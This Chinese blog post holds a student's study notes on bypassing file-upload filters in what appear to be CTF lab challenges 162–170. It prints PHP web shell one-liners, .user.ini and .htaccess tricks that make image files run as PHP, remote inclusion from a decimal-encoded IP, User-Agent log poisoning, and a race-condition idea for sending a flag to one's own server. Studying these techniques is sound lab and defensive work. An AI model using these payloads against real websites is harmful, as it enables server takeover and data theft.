网安之web攻防第三十二天

#前置:

后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)

如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门

如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还有.user.ini&.htaccess

文件二次渲染:

1、判断上传前和上传后的文件大小及内容

2、判断上传后的文件返回数据包内容

162  突破.过滤

过滤 . () {} ;等

利用远程包含IP转换地址后门调用执行

.user.ini auto_prepend_file=png

png <?=include'http://794750069/'>

https://www.bejson.com/convert/ip2int/

163 突破上传删除

过滤 . () {} ;等 同时文件被删除

直接利用.user.ini包含远程

auto_prepend_file=http://794750069/

auto_prepend_file=http://794750069/

164 png二次渲染

https://blog.csdn.net/qq_40800734/article/details/105920149

get 0=system

post 1=tac flag.php

165 jpg二次渲染

1、先上传jpg正常,返回包发现渲染

2、上传jpg渲染后保存,生成带代码图片

调用执行:php jpg.php 1.jpg

166 zip调用包含

直接上传zip后修改代码

<?=eval($_POST[x]);?>

167 .htaccess妙用

.htaccess默认不支持nginx,设置后支持

.htaccess可以通过设置实现文件解析配置

将.png后缀的文件解析成php

AddType application/x-httpd-php .png  

将.png后缀的文件解析成php

168 免杀后门

<?php $a='syste';$b='m';$c=$a.$b;$c('tac ../flagaa.php');?>

169 170日志包含

构造.user.ini利用条件:上传index.php 内容随意

上传.user.ini包含日志:auto_prepend_file=/var/log/nginx/access.log

访问地址带后门UA头写入日志:<?=eval($_POST[x]);?>

上面是小迪的笔记,下面的是自己的笔记

文件上传,当你想抓一个包时,抓都抓不到,那大概率就是前段验证了,包在前端就被过滤了,没有发出去,所以没有抓到包。

通过访问upload路径下的index.php。他会去调用.user.ini这个配置文件,由于.user.ini里面包括了png图片,所以就会调用png图片里面我们提前写好的后门代码,直接就以PHP脚本语言去执行。

163题涉及到文件删除

这个删除操作是有两种,一种是什么都删除,一种是只删除识别到的后门代码。我们在遇到上传后门文件之后被删除的情况时,由小到大,先尝试去修改后门代码,如果能行,那说明它只删除能识别的后门代码,如果不行的话,那它可能就是什么都删除,这个就只能通过条件竞争去尝试绕过了。

这个条件竞争就是没上传之前就一直发包,它删除肯定是有一个时间的,哪怕只有一秒,你也可以通过连续的发包绕过,这个发的数据包就是以post请求发送代码,这个代码是利用php创建一个新文件,如果新文件还被删的话,就直接创建到根目录,根目录也删除的话,我们就写个脚本让他在没删之前就把flag(或则你想获取的信息)发送到自己的服务器上。我觉得这个就像钻空子,跟时间赛跑一样。

164题:

165关的jpg渲染和上面的png渲染都是利用了文件包含漏洞,如果没有这个文件包含漏洞,而是直接访问这个图片,那我们想要用这种方法还需要利用.user.ini,因为题上没有是先php文件调用图片,而是直接访问的就是图片,我们在图片中写入后门也是不能正确的去执行。下面这两个路径,一个就是直接就是访问图片的地址,另一个就是php调用的。

首先这个二次渲染是指文件上传之后内容稍作一些修改,有可能变大了,有可能变小了,所以你在图片里面写入的后门有可能就因为二次渲染而搞没了。那我们可以通过两种方式判断有没有二次渲染:第一个是判断上传前和上传后的文件大小及内容,这个很好理解就是看大小和内容有没有发生改变。第二个就是看返回数据包内容,比如下图的gd-jpeg v1.0,这个就是用来二次渲染的一个东西,你可以理解是一个工具把,我也不知道他是啥

那么如何绕过也就有了两种方法,第一种就是手工修改,利用软件c32asm比较渲染前和渲染后的图片的内容(这个软件可以把图片内容转换为16进制),然后把后门代码写到内容没有改变的里面即可。但是成功率比较小。第二个就是利用脚本直接生成,jpg和png的脚本不一样,都在资源库中,也可去网上找。

如何上传文件呢,就直接抓包,然后在左边那两个箭头那里改文件名和文件内容,右边那个箭头看是否上传成功

.user.ini不看中间件只看是不是php,并且是php7版本以上的才可以,5版本的不太行。而.htaccess是看中间件的,正常情况下就只能apache,如果是ngnix的话需要设置一些东西才支持.htaccess(这里是靶场需要用到,所以肯定是设置了的,实战的话百分之七八十都不会设置的)

如果要用到.user.ini的话需要有index.php。这个index.php就像是一个引路人,如果没有他的话,就算上传.user.ini也是不能正常执行后门的。并且在实际情况下,没有index.php的话,你访问一个网站就只能看到一个目录,是看不到网站正常的页面的。所以当没有index.php的时候,你需要上传一个索引,也就是index.php,里面的内容无所谓。

我总结了一下这个大概的思路,首先看前端验证的文件格式以及是否在前端验证,如果在前端验证的话那就是最简单的绕过了(这里注意一下如果前端验证没改,上传非对应文件格式的时候抓包是抓不到的,所以别忘了改),第二个就是MIME验证了,就是那个文件类型的那里别忘记改(Content-Type: image/png)。如果这两个都改过了,然后就是它是否对上传文件的名字过滤(比如不让你上传php文件),过滤的话就只能通过.user.ini来上传图片绕过了。接着就是文件内容的过滤,比如对php做过滤,也就是说文件内容不能有php三个字母,那我们可以换种方式写后门,如果是对整体做过滤不对单个字母做过滤,可以利用连接符".",把php分割成ph"."p。紧接着就是文件头了,这个一定要换成正确的文件头。如果这些都不行,那就可以试试利用日志了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xiaopeisec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值